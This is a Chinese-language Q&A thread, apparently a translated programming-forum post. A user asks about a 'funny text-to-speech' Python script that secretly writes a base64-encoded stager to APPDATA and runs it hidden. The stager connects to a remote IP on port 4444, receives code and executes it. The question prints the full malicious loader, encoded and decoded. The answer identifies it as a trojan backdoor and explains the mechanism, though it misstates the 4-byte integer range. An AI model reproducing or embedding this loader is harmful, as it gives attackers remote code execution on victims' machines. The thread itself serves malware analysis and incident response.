我从网上聊天的人那里下载了Python程序。这似乎毫无用处,而且是一个有趣的概念。该程序将使用谷歌TTS说一些有趣的短语。当我运行该程序时,我什么也没想到,直到怪异的事情开始发生。我的Pycharm关闭了,没有像通常那样提示我关闭它。然后我的Brave浏览器也关闭了。我感到怀疑,所以我查看了任务管理器,Python仍在运行。我终止了正在运行的Python,奇怪的情况似乎停止了。我回头看了看我发送的Python文件,发现有些异常。
这是我收到的Python程序:
import pip
import os
import string
import subprocess
from subprocess import Popen
import sys
try:
from pip import main as pipmain
except:
from pip._internal import main as pipmain
reqs = subprocess.check_output([sys.executable, '-m', 'pip', 'freeze'])
file = open(os.getenv('APPDATA') + "temp.py", "w")
file.write("import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3OC4xMjguMTg2LjE4MicsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))")
file.close()
gt = subprocess = Popen(['pythonw', os.getenv('APPDATA') + "temp.py"])
installed_packages = [r.decode().split('==')[0] for r in reqs.split()]
def installpackage(package):
pipmain(['install', package])
if not 'gTTS' in installed_packages:
installpackage('gTTS')
if not 'playsound' in installed_packages:
installpackage('playsound')
import playsound
from gtts import gTTS
tts = gTTS(text='Her the fat hippo',lang='en')
tts.save("temp.mp3")
playsound.playsound('temp.mp3')
os.remove("temp.mp3")
但是看着第13至17行,我想知道那个编码位是什么。我可以确认,包含编码代码的文件位于我的APPDATA文件夹中。
代码的编码部分:
file.write("import base64,sys;exec(base64.b64decode({2:str,3:lambda `b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3OC4xMjguMTg2LjE4MicsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))")`
当我用base64解码时,我得到了
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('178.128.186.182',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
写入我的APPDATA的文件应该做什么?我所能理解的是,该IP可以打开10次。如果无法连接,请等待5秒钟。这个程序的目的使我最困惑。
答案 0 :(得分:3)
这是Trojan,一个带有隐藏后门的脚本。您必须假定计算机尚不安全,因为该木马可能已在计算机上安装了更多软件。如果您是在学校或办公室中运行此程序,则需要前往此事件并通知IT部门,因为这是其网络中的安全漏洞,攻击者可能会将您的计算机用作入侵的途径。
该循环尝试连接到另一台计算机,最多 十次。如果连接尝试成功,则break
将停止循环。
一旦连接,它将读取4个字节作为无符号整数,并从套接字读取那么多字节:
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
l
现在是0到18446744073709551615之间的整数,接下来的三行用于将套接字中的许多字节读取到d
中。 s.recv(l)
将读取最多 l
个字节,但可能会收到更少的字节,这取决于到目前为止通过网络到达的数据量。然后while
循环会继续从套接字读取数据,直到收到所有l
个字节为止。
这是从远程连接接收数据,读取少量固定字节以对长度进行编码的标准方法,然后继续从套接字读取直到收到所有预期数据为止。
然后,exec(d,{'s':s})
将execute that data as Python code,可以访问套接字。因此我们不知道从那时起程序将继续执行什么操作,因为已对远程套接字进行了完全控制。
由于此时执行的代码可以完成任何操作,因此它可能已经下载了其他软件来进一步接管您的计算机。您确实真的要真的在此时使用防病毒软件对其进行完全清理。
该IP地址和端口目前不接受连接,因此我无法检索“有效载荷”,此脚本旨在检索和执行该代码,因此我们无法更具体地告诉您如何处理寻找。通常,此类连接和下载有效负载始终在变化,以适应情况并增加成功的机会。